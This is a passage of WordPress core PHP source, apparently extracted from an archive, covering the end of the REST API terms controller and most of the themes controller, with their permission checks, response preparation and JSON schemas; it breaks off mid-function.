		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for terms.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$retval = wp_delete_term( $term->term_id, $term->taxonomy );

		if ( ! $retval ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The term cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires after a single term is deleted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_category`
		 *  - `rest_delete_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term          $term     The deleted term.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Term object.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = new stdClass();

		$schema = $this->get_item_schema();
		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->name = $request['name'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_term->slug = $request['slug'];
		}

		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
			$prepared_term->taxonomy = $request['taxonomy'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_term->description = $request['description'];
		}

		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
			$parent_term_id   = 0;
			$requested_parent = (int) $request['parent'];

			if ( $requested_parent ) {
				$parent_term = get_term( $requested_parent, $this->taxonomy );

				if ( $parent_term instanceof WP_Term ) {
					$parent_term_id = $parent_term->term_id;
				}
			}

			$prepared_term->parent = $parent_term_id;
		}

		/**
		 * Filters term data before inserting term via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_category`
		 *  - `rest_pre_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_term Term object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term         $item    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
			return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $item->term_id;
		}

		if ( in_array( 'count', $fields, true ) ) {
			$data['count'] = (int) $item->count;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $item->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_term_link( $item );
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $item->name;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $item->slug;
		}

		if ( in_array( 'taxonomy', $fields, true ) ) {
			$data['taxonomy'] = $item->taxonomy;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->parent;
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters the term data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_category`
		 *  - `rest_prepare_post_tag`
		 *
		 * Allows modification of the term data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response  The response object.
		 * @param WP_Term           $item      The original term object.
		 * @param WP_REST_Request   $request   Request used to generate the response.
		 */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_term( $term ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ),
			),
			'about'      => array(
				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
			),
		);

		if ( $term->parent ) {
			$parent_term = get_term( (int) $term->parent, $term->taxonomy );

			if ( $parent_term ) {
				$links['up'] = array(
					'href'       => rest_url( rest_get_route_for_term( $parent_term ) ),
					'embeddable' => true,
				);
			}
		}

		$taxonomy_obj = get_taxonomy( $term->taxonomy );

		if ( empty( $taxonomy_obj->object_type ) ) {
			return $links;
		}

		$post_type_links = array();

		foreach ( $taxonomy_obj->object_type as $type ) {
			$rest_path = rest_get_route_for_post_type_items( $type );

			if ( empty( $rest_path ) ) {
				continue;
			}

			$post_type_links[] = array(
				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ),
			);
		}

		if ( ! empty( $post_type_links ) ) {
			$links['https://api.w.org/post_type'] = $post_type_links;
		}

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique identifier for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'count'       => array(
					'description' => __( 'Number of published posts for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'HTML description of the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'link'        => array(
					'description' => __( 'URL of the term.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'HTML title for the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
					'required'    => true,
				),
				'slug'        => array(
					'description' => __( 'An alphanumeric identifier for the term unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'taxonomy'    => array(
					'description' => __( 'Type attribution for the term.' ),
					'type'        => 'string',
					'enum'        => array( $this->taxonomy ),
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( $taxonomy->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The parent term ID.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		$taxonomy     = get_taxonomy( $this->taxonomy );

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( ! $taxonomy->hierarchical ) {
			$query_params['offset'] = array(
				'description' => __( 'Offset the result set by a specific number of items.' ),
				'type'        => 'integer',
			);
		}

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by term attribute.' ),
			'type'        => 'string',
			'default'     => 'name',
			'enum'        => array(
				'id',
				'include',
				'name',
				'slug',
				'include_slugs',
				'term_group',
				'description',
				'count',
			),
		);

		$query_params['hide_empty'] = array(
			'description' => __( 'Whether to hide terms not assigned to any posts.' ),
			'type'        => 'boolean',
			'default'     => false,
		);

		if ( $taxonomy->hierarchical ) {
			$query_params['parent'] = array(
				'description' => __( 'Limit result set to terms assigned to a specific parent.' ),
				'type'        => 'integer',
			);
		}

		$query_params['post'] = array(
			'description' => __( 'Limit result set to terms assigned to a specific post.' ),
			'type'        => 'integer',
			'default'     => null,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to terms with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		/**
		 * Filters collection parameters for the terms controller.
		 *
		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
		 * slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Term_Query parameter.  Use the
		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array       $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
		 */
		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
	}

	/**
	 * Checks that the taxonomy is valid.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to check.
	 * @return bool Whether the taxonomy is allowed for REST management.
	 */
	protected function check_is_taxonomy_allowed( $taxonomy ) {
		$taxonomy_obj = get_taxonomy( $taxonomy );
		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
			return true;
		}
		return false;
	}
}
endpoints/class-wp-rest-themes-controller.php000064400000054722151724720270015451 0ustar00<?php
/**
 * REST API: WP_REST_Themes_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to manage themes via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Themes_Controller extends WP_REST_Controller {

	/**
	 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
	 * Excludes invalid directory name characters: `/:<>*?"|`.
	 */
	const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?';

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'themes';
	}

	/**
	 * Registers the routes for themes.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf( '/%s/(?P<stylesheet>%s)', $this->rest_base, self::PATTERN ),
			array(
				'args'   => array(
					'stylesheet' => array(
						'description'       => __( "The theme's stylesheet. This uniquely identifies the theme." ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Sanitize the stylesheet to decode endpoint.
	 *
	 * @since 5.9.0
	 *
	 * @param string $stylesheet The stylesheet name.
	 * @return string Sanitized stylesheet.
	 */
	public function _sanitize_stylesheet_callback( $stylesheet ) {
		return urldecode( $stylesheet );
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$registered = $this->get_collection_params();
		if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$wp_theme      = wp_get_theme( $request['stylesheet'] );
		$current_theme = wp_get_theme();

		if ( $this->is_same_theme( $wp_theme, $current_theme ) ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a theme can be read.
	 *
	 * @since 5.7.0
	 *
	 * @return true|WP_Error True if the theme can be read, WP_Error object otherwise.
	 */
	protected function check_read_active_theme_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_active_theme',
			__( 'Sorry, you are not allowed to view the active theme.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves a single theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$wp_theme = wp_get_theme( $request['stylesheet'] );
		if ( ! $wp_theme->exists() ) {
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}
		$data = $this->prepare_item_for_response( $wp_theme, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a collection of themes.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$themes = array();

		$active_themes = wp_get_themes();
		$current_theme = wp_get_theme();
		$status        = $request['status'];

		foreach ( $active_themes as $theme ) {
			$theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
			if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) {
				continue;
			}

			$prepared = $this->prepare_item_for_response( $theme, $request );
			$themes[] = $this->prepare_response_for_collection( $prepared );
		}

		$response = rest_ensure_response( $themes );

		$response->header( 'X-WP-Total', count( $themes ) );
		$response->header( 'X-WP-TotalPages', 1 );

		return $response;
	}

	/**
	 * Prepares a single theme output for response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.6.0 Added `stylesheet_uri` and `template_uri` fields.
	 *
	 * @param WP_Theme        $item    Theme object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'stylesheet', $fields ) ) {
			$data['stylesheet'] = $theme->get_stylesheet();
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			/**
			 * Use the get_template() method, not the 'Template' header, for finding the template.
			 * The 'Template' header is only good for what was written in the style.css, while
			 * get_template() takes into account where WordPress actually located the theme and
			 * whether it is actually valid.
			 */
			$data['template'] = $theme->get_template();
		}

		$plain_field_mappings = array(
			'requires_php' => 'RequiresPHP',
			'requires_wp'  => 'RequiresWP',
			'textdomain'   => 'TextDomain',
			'version'      => 'Version',
		);

		foreach ( $plain_field_mappings as $field => $header ) {
			if ( rest_is_field_included( $field, $fields ) ) {
				$data[ $field ] = $theme->get( $header );
			}
		}

		if ( rest_is_field_included( 'screenshot', $fields ) ) {
			// Using $theme->get_screenshot() with no args to get absolute URL.
			$data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : '';
		}

		$rich_field_mappings = array(
			'author'      => 'Author',
			'author_uri'  => 'AuthorURI',
			'description' => 'Description',
			'name'        => 'Name',
			'tags'        => 'Tags',
			'theme_uri'   => 'ThemeURI',
		);

		foreach ( $rich_field_mappings as $field => $header ) {
			if ( rest_is_field_included( "{$field}.raw", $fields ) ) {
				$data[ $field ]['raw'] = $theme->display( $header, false, true );
			}

			if ( rest_is_field_included( "{$field}.rendered", $fields ) ) {
				$data[ $field ]['rendered'] = $theme->display( $header );
			}
		}

		$current_theme = wp_get_theme();
		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
		}

		if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			foreach ( get_registered_theme_features() as $feature => $config ) {
				if ( ! is_array( $config['show_in_rest'] ) ) {
					continue;
				}

				$name = $config['show_in_rest']['name'];

				if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) {
					continue;
				}

				if ( ! current_theme_supports( $feature ) ) {
					$data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default'];
					continue;
				}

				$support = get_theme_support( $feature );

				if ( isset( $config['show_in_rest']['prepare_callback'] ) ) {
					$prepare = $config['show_in_rest']['prepare_callback'];
				} else {
					$prepare = array( $this, 'prepare_theme_support' );
				}

				$prepared = $prepare( $support, $config, $feature, $request );

				if ( is_wp_error( $prepared ) ) {
					continue;
				}

				$data['theme_supports'][ $name ] = $prepared;
			}
		}

		if ( rest_is_field_included( 'is_block_theme', $fields ) ) {
			$data['is_block_theme'] = $theme->is_block_theme();
		}

		if ( rest_is_field_included( 'stylesheet_uri', $fields ) ) {
			if ( $this->is_same_theme( $theme, $current_theme ) ) {
				$data['stylesheet_uri'] = get_stylesheet_directory_uri();
			} else {
				$data['stylesheet_uri'] = $theme->get_stylesheet_directory_uri();
			}
		}

		if ( rest_is_field_included( 'template_uri', $fields ) ) {
			if ( $this->is_same_theme( $theme, $current_theme ) ) {
				$data['template_uri'] = get_template_directory_uri();
			} else {
				$data['template_uri'] = $theme->get_template_directory_uri();
			}
		}

		if ( rest_is_field_included( 'default_template_types', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			$default_template_types = array();
			foreach ( get_default_block_template_types() as $slug => $template_type ) {
				$template_type['slug']    = (string) $slug;
				$default_template_types[] = $template_type;
			}
			$data['default_template_types'] = $default_template_types;
		}

		if ( rest_is_field_included( 'default_template_part_areas', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			$data['default_template_part_areas'] = get_allowed_block_template_part_areas();
		}

		$data = $this->add_additional_fields_to_object( $data, $request );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $theme ) );
		}

		/**
		 * Filters theme data returned from the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Theme         $theme    Theme object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme Theme data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $theme ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( $this->is_same_theme( $theme, wp_get_theme() ) ) {
			// This creates a record for the active theme if not existent.
			$id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
		} else {
			$user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme );
			$id       = isset( $user_cpt['ID'] ) ? $user_cpt['ID'] : null;
		}

		if ( $id ) {
			$links['https://api.w.org/user-global-styles'] = array(
				'href' => rest_url( 'wp/v2/global-styles/' . $id ),
			);
		}

		return $links;
	}

	/**
	 * Helper function to compare two themes.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme_a First theme to compare.
	 * @param WP_Theme $theme_b Second theme to compare.
	 * @return bool
	 */
	protected function is_same_theme( $theme_a, $theme_b ) {
		return $theme_a->get_stylesheet() === $theme_b->get_stylesheet();
	}

	/**
	 * Prepares the theme support value for inclusion in the REST API response.
	 *
	 * @since 5.5.0
	 *
	 * @param mixed           $support The raw value from get_theme_support().
	 * @param array           $args    The feature's registration args.
	 * @param string          $feature The feature name.
	 * @param WP_REST_Request $request The request object.
	 * @return mixed The prepared support value.
	 */
	protected function prepare_theme_support( $support, $args, $feature, $request ) {
		$schema = $args['show_in_rest']['schema'];

		if ( 'boolean' === $schema['type'] ) {
			return true;
		}

		if ( is_array( $support ) && ! $args['variadic'] ) {
			$support = $support[0];
		}

		return rest_sanitize_value_from_schema( $support, $schema );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'theme',
			'type'       => 'object',
			'properties' => array(
				'stylesheet'                  => array(
					'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'stylesheet_uri'              => array(
					'description' => __( 'The uri for the theme\'s stylesheet directory.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'template'                    => array(
					'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'template_uri'                => array(
					'description' => __( 'The uri for the theme\'s template directory. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet directory.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'author'                      => array(
					'description' => __( 'The theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme author\'s name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'HTML for the theme author, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'author_uri'                  => array(
					'description' => __( 'The website of the theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The website of the theme author, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The website of the theme author, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'description'                 => array(
					'description' => __( 'A description of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme description, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme description, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'is_block_theme'              => array(
					'description' => __( 'Whether the theme is a block-based theme.' ),
					'type'        => 'boolean',
					'readonly'    => true,
				),
				'name'                        => array(
					'description' => __( 'The name of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme name, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'requires_php'                => array(
					'description' => __( 'The minimum PHP version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'requires_wp'                 => array(
					'description' => __( 'The minimum WordPress version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'screenshot'                  => array(
					'description' => __( 'The theme\'s screenshot URL.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'tags'                        => array(
					'description' => __( 'Tags indicating styles and features of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme tags, as found in the theme header.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'string',
							),
						),
						'rendered' => array(
							'description' => __( 'The theme tags, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'textdomain'                  => array(
					'description' => __( 'The theme\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'theme_supports'              => array(
					'description' => __( 'Features supported by this theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(),
				),
				'theme_uri'                   => array(
					'description' => __( 'The URI of the theme\'s webpage.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'version'                     => array(
					'description' => __( 'The theme\'s current version.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'status'                      => array(
					'description' => __( 'A named status for the theme.' ),
					'type'        => 'string',
					'enum'        => array( 'inactive', 'active' ),
				),
				'default_template_types'      => array(
					'description' => __( 'A list of default template types.' ),
					'type'        => 'array',
					'readonly'    => true,
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'slug'        => array(
								'type' => 'string',
							),
							'title'       => array(
								'type' => 'string',
							),
							'description' => array(
								'type' => 'string',
							),
						),
					),
				),
				'default_template_part_areas' => array(
					'description' => __( 'A list of allowed area values for template parts.' ),
					'type'        => 'array',
					'readonly'    => true,
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'area'        => array(
								'type' => 'string',
							),
							'label'       => array(
								'type' => 'string',
							),
							'description' => array(
								'type' => 'string',
							),
							'icon'        => array(
								'type' => 'string',
							),
							'area_tag'    => array(
								'type' => 'string',
							),
						),
					),
				),
			),
		);

		foreach ( get_registered_theme_features() as $feature => $config ) {
			if ( ! is_array( $config['show_in_rest'] ) ) {
				continue;
			}

			$name = $config['show_in_rest']['name'];

			$schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema'];
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the themes collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = array(
			'status' => array(
				'description' => __( 'Limit result set to themes assigned one or more statuses.' ),
				'type'        => 'array',
				'items'       => array(
					'enum' => array( 'active', 'inactive' ),
					'type' => 'string',
				),
			),
		);

		/**
		 * Filters REST API collection parameters for the themes controller.
		 *
		 * @since 5.0.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
